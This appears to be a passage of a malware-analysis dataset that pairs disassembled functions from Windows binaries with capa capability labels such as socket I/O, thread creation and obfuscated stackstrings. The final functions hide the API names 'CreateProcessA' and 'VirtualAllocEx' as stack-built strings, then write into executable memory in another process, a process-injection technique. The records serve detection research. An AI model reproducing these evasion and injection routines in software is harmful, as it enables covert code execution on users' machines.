joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100064d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f338
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10937664]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x44], 0
je 0x1000667f
cmp byte [ebx + 0x49], 0
je 0x1000667f
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x10006673
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10006546
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10006563
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x1000659a
dec eax
je 0x1000659e
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x1000667a
call fcn.10001c20
xor al, al
jmp 0x10006681
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x100065ae
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x100065db
cmp edi, 0x10
jae 0x100065bd
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.1000afbe
add esp, 0x10
cmp esi, eax
jne 0x1000666b
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x10006677
test esi, esi
jne 0x10006557
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x1000669d
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x1000669d
cmp edi, esi
jae 0x10006654
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.10001ed0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x10006557
mov ecx, eax
cmp edi, 0x10
jae 0x10006630
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x1000664b
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x10006551
test esi, esi
jne 0x10006626
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x10006663
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x10006551
lea ecx, [ebp - 0x2c]
call fcn.10001c20
xor al, al
jmp 0x10006681
lea ecx, [ebp - 0x2c]
call fcn.10001c20
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10009a8b
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.10008fc3
int3
Function at 0x10007230
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f0bb
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10937664]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10009958
push 4
mov dword [ebp - 4], 0
call fcn.10009fdd
mov edi, eax
add esp, 4
test edi, edi
je 0x100072b0
call fcn.10009536
mov dword [edi], eax
call fcn.100092f5
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.1000922a
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x100072a6
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.10009252
jmp 0x100072b2
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009a8b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10937664]
jne 0x10009a95
repz ret
jmp fcn.1000e695

Function at 0x10012604
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x1001262b
call fcn.1000e527
mov dword [eax], esi
call fcn.1000e514
push 0x16
pop esi
mov dword [eax], esi
call fcn.1000f474
mov eax, esi
jmp 0x10012680
test dword [ebp + 0xc], 0xfffffff9
jne 0x10012611
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10012658
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1000e53a
pop ecx
call fcn.1000e514
mov eax, dword [eax]
jmp 0x10012680
test al, 0x10
jne 0x1001267e
test al, 1
je 0x1001267e
test byte [ebp + 0xc], 2
je 0x1001267e
call fcn.1000e527
mov dword [eax], 5
call fcn.1000e514
mov dword [eax], 0xd
jmp 0x1001264f
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10018e18
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10937664]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000eb71
and dword [ebp - 0x14], 0
cmp dword [0x10939890], 0
mov dword [ebp - 0x18], eax
jne 0x10018ecb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10018f73
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10023074
push ebx
call edi
test eax, eax
je 0x10018f73
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x10023064
push ebx
mov dword [0x10939890], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10939894], eax
call edi
push eax
call esi
push 0x10023034
push ebx
mov dword [0x10939898], eax
call edi
push eax
call esi
mov dword [0x109398a0], eax
test eax, eax
je 0x10018ecb
push 0x1002301c
push ebx
call edi
push eax
call esi
mov dword [0x1093989c], eax
mov eax, dword [0x1093989c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10018f24
cmp dword [0x109398a0], ecx
je 0x10018f24
push eax
call esi
push dword [0x109398a0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10018f24
test ebx, ebx
je 0x10018f24
call edi
test eax, eax
je 0x10018f1b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10018f1b
test byte [ebp - 8], 1
jne 0x10018f24
or dword [ebp + 0x10], 0x200000
jmp 0x10018f57
mov eax, dword [0x10939894]
cmp eax, dword [ebp - 0x18]
je 0x10018f57
push eax
call esi
test eax, eax
je 0x10018f57
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10018f57
mov eax, dword [0x10939898]
cmp eax, dword [ebp - 0x18]
je 0x10018f57
push eax
call esi
test eax, eax
je 0x10018f57
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10939890]
call esi
test eax, eax
je 0x10018f73
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10018f75
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10009a8b
leave
ret
Function at 0x404a00
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57198a
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1a8], ecx
mov ecx, dword [ebp - 0x1a8]
call fcn.004056e0
mov eax, dword [ebp - 0x1a8]
mov dword [eax], vtable.CTcpSocket.0
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x2c
call fcn.00401000
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x3c
call fcn.00401000
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x4c
call fcn.00401000
mov byte [ebp - 4], 2
push str.CTcpSocket::CTcpSocket
push 0x587fd8
call fcn.00405740
add esp, 8
lea ecx, [ebp - 0x1a4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, dword [ebp - 0x1a8]
mov dword [edx + 4], eax
push 0
mov eax, dword [ebp - 0x1a8]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [ebp - 0x1a8]
mov dword [ecx + 0x64], 0xffffffff
mov edx, dword [ebp - 0x1a8]
mov dword [edx + 0x5c], 0
mov eax, dword [ebp - 0x1a8]
mov dword [eax + 0x60], 0
mov ecx, dword [ebp - 0x1a8]
mov dword [ecx + 0x14], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00553425
mov esp, ebp
pop ebp
ret

Function at 0x404b30
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push str.CTcpSocket::Disconnect
push 0x587ff4
call fcn.00405740
add esp, 8
mov eax, dword [ebp - 8]
cmp dword [eax + 0x18], 0
jne 0x404b56
jmp 0x404bc2
mov ecx, 1
mov word [ebp - 4], cx
xor edx, edx
mov word [ebp - 2], dx
push 4
lea eax, [ebp - 4]
push eax
push 0x80
push 0xffff
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x64]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
mov edx, dword [ebp - 8]
add edx, 0x18
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x64]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x64], 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x405750
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], 0x598
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x198], 0
jne 0x40577a
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
mov dword [ecx + 0x1b8], edx
jmp 0x4057a1
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x198]
cmp ecx, dword [ebp - 0x28]
jbe 0x40578f
xor eax, eax
jmp 0x405909
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x198]
mov dword [edx + 0x1b8], ecx
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x64], 0
mov ecx, dword [ebp - 0x30]
call fcn.00405910
push 1
push 0
push 5
push 1
mov ecx, dword [ebp - 0x30]
add ecx, 0x30
call fcn.004080e0
mov dword [ebp - 0x24], 0
push 0
push 0
lea ecx, [ebp - 0x1c]
call fcn.00408090
push 0x5e9c50
call fcn.004016b0
add esp, 4
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x48], eax
mov edx, dword [ebp - 0x30]
cmp dword [edx + 0x48], 0
jne 0x405808
push 0x5e9c50
call fcn.004016b0
add esp, 4
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x48], eax
mov dword [ebp - 0x20], 0x40000
push 4
lea edx, [ebp - 0x20]
push edx
push 0x1001
push 0xffff
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x20], 0x40000
push 4
lea edx, [ebp - 0x20]
push edx
push 0x1002
push 0xffff
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x30]
call fcn.00405a30
test eax, eax
je 0x4058bc
mov ecx, dword [ebp - 0x30]
add ecx, 0x58
push ecx
push 0
mov edx, dword [ebp - 0x30]
push edx
push 0x405c10
push 0
push 0
call fcn.00553e9a
add esp, 0x18
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x54], eax
mov edx, dword [ebp - 0x30]
cmp dword [edx + 0x54], 0
je 0x4058a6
mov dword [ebp - 0x24], 1
mov ecx, dword [ebp - 0x30]
add ecx, 0x2c
call fcn.00408230
jmp 0x4058ba
push 0x65f
push 0x5880d0
push 8
mov ecx, dword [ebp - 0x30]
call fcn.00406930
jmp 0x4058d2
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.CUdpSocket::Start
push 0xb
mov ecx, dword [ebp - 0x30]
call fcn.00406930
cmp dword [ebp - 0x24], 0
jne 0x405906
push 1
push 0
push 5
push 0
mov ecx, dword [ebp - 0x30]
add ecx, 0x30
call fcn.004080e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
call fcn.004065b0
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x405e80
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405ec1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x2733
jne 0x405ec1
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x406230
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, 1
test eax, eax
je 0x40635a
push 0
push 0x598
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x70]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x406307
cmp dword [ebp - 4], 0x10
jne 0x4062a8
push 0x10
push 0x5880c0
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x70]
push eax
call fcn.00553fc5
add esp, 0xc
test eax, eax
jne 0x4062a8
push 0
push 0
push 5
push 1
mov ecx, dword [ebp - 0xc]
add ecx, 0x30
call fcn.004080e0
xor eax, eax
jmp 0x40635f
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1c0]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1c8]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x70]
push ecx
mov ecx, dword [ebp - 0xc]
add ecx, 0x1d8
call fcn.004074e0
cmp eax, 2
jne 0x406305
push 1
push 0x4c7
call fcn.00408070
add esp, 4
push eax
push 4
push 1
mov ecx, dword [ebp - 0xc]
add ecx, 0x30
call fcn.004080e0
xor eax, eax
jmp 0x40635f
jmp 0x406355
cmp dword [ebp - 4], 0xffffffff
jne 0x406355
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2733
jne 0x406323
jmp 0x40635a
cmp dword [ebp - 8], 0x2744
je 0x406335
cmp dword [ebp - 8], 0x2746
jne 0x40633c
jmp 0x406239
push 1
mov edx, dword [ebp - 8]
push edx
push 4
push 1
mov ecx, dword [ebp - 0xc]
add ecx, 0x30
call fcn.004080e0
xor eax, eax
jmp 0x40635f
jmp 0x406239
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x406370
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571a00
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5e8220]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
mov eax, 1
test eax, eax
je 0x406501
mov ecx, dword [ebp - 0x2c]
call fcn.00406520
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x7c
push ecx
lea ecx, [ebp - 0x14]
call fcn.00414890
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00407570
movzx edx, al
test edx, edx
je 0x4064dc
push 0
lea ecx, [ebp - 0x14]
call fcn.00407fa0
mov ecx, eax
call fcn.00401aa0
push eax
lea ecx, [ebp - 0x14]
call fcn.00407fa0
mov ecx, eax
call fcn.00408050
push eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x406443
mov edx, dword [ebp - 0x2c]
add edx, 0x160
push edx
lea ecx, [ebp - 0x1c]
call fcn.00401c20
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x194]
sub ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x194], ecx
lea ecx, [ebp - 0x1c]
call fcn.00401c70
jmp 0x4064da
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4064da
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x2733
jne 0x4064aa
mov eax, dword [ebp - 0x2c]
add eax, 0x160
push eax
lea ecx, [ebp - 0x24]
call fcn.00401c20
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.00407540
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x178
call fcn.00407260
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.00401c70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00407590
jmp 0x406501
push 1
mov ecx, dword [ebp - 0x20]
push ecx
push 3
push 1
mov ecx, dword [ebp - 0x2c]
add ecx, 0x30
call fcn.004080e0
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00407590
mov eax, dword [ebp - 0x28]
jmp 0x406506
jmp 0x4064ed
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00407590
jmp 0x406501
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00407590
jmp 0x406398
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x406c00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x24], ecx
push 0x588130
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 4], eax
push 0x58814c
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
push str.CUdpSocket::Connect
push 0x58816c
call fcn.00405740
add esp, 8
call dword [sym.imp.WINMM.dll_timeGetTime]
mov edx, dword [ebp - 0x24]
mov dword [edx + 0x14], eax
push 0
mov eax, dword [ebp - 0x24]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0xa
push 0
mov ecx, dword [ebp - 0x24]
add ecx, 0x20
push ecx
call fcn.005539a0
add esp, 0xc
push 8
mov edx, dword [ebp - 0x24]
add edx, 0x14
push edx
mov eax, dword [ebp - 0x24]
add eax, 0x20
push eax
call fcn.00552ce0
add esp, 0xc
mov ecx, dword [ebp - 0x24]
mov byte [ecx + 0x28], 0xca
mov edx, dword [ebp - 0x24]
mov byte [edx + 0x29], 0
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x64], 3
je 0x406ca6
mov ecx, dword [ebp - 0x24]
call fcn.004065b0
push 0
push 0
movzx ecx, word [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x24]
call fcn.00405750
mov dword [ebp - 0x10], eax
push 0x1770
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], 0
je 0x406ced
cmp dword [ebp - 0x28], 0x102
je 0x406d2e
cmp dword [ebp - 0x28], 0xffffffff
je 0x406d3e
jmp 0x406d4e
push 1
mov edx, dword [ebp - 0x24]
add edx, 0x18
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ecx, [ebp - 0x20]
push ecx
push 0
mov edx, dword [ebp - 0x24]
push edx
push 0x406d60
push 0
push 0
call fcn.00553e9a
add esp, 0x18
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 0x268], eax
mov al, 1
jmp 0x406d54
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x406d54
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x406d54
xor al, al
jmp 0x406d54
mov esp, ebp
pop ebp
ret 8

Function at 0x408670
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4086a2
mov eax, 0x190
call fcn.00555550
mov dword [ebp - 0x10], esp
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
movzx eax, byte [ebp + 0x10]
and eax, 0xff
movzx ecx, al
movzx edx, byte [ebp + 0xc]
and edx, 0xff
movzx eax, dl
shl eax, 8
or ecx, eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
lea esp, [ebp - 0x10]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00553425
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40c630
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0x40c310
push 0
push 0
call fcn.00553e9a
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x18], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.004046b0
mov esp, ebp
pop ebp
ret
Function at 0x40cb80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x60], 0x44
push 0x40
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.005539a0
add esp, 0xc
mov dword [ebp - 0x34], 1
xor ecx, ecx
mov word [ebp - 0x30], cx
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x50
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x63
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x41
mov byte [ebp - 0xa], 0
lea edx, [ebp - 0x18]
push edx
push 0x589df8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00553425
mov esp, ebp
pop ebp
ret

Function at 0x40cc40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 8], eax
mov byte [ebp - 0x18], 0x56
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x63
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x78
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x18]
push eax
push 0x589e14
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40ccc6
xor eax, eax
jmp 0x40ccde
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00553425
mov esp, ebp
pop ebp
ret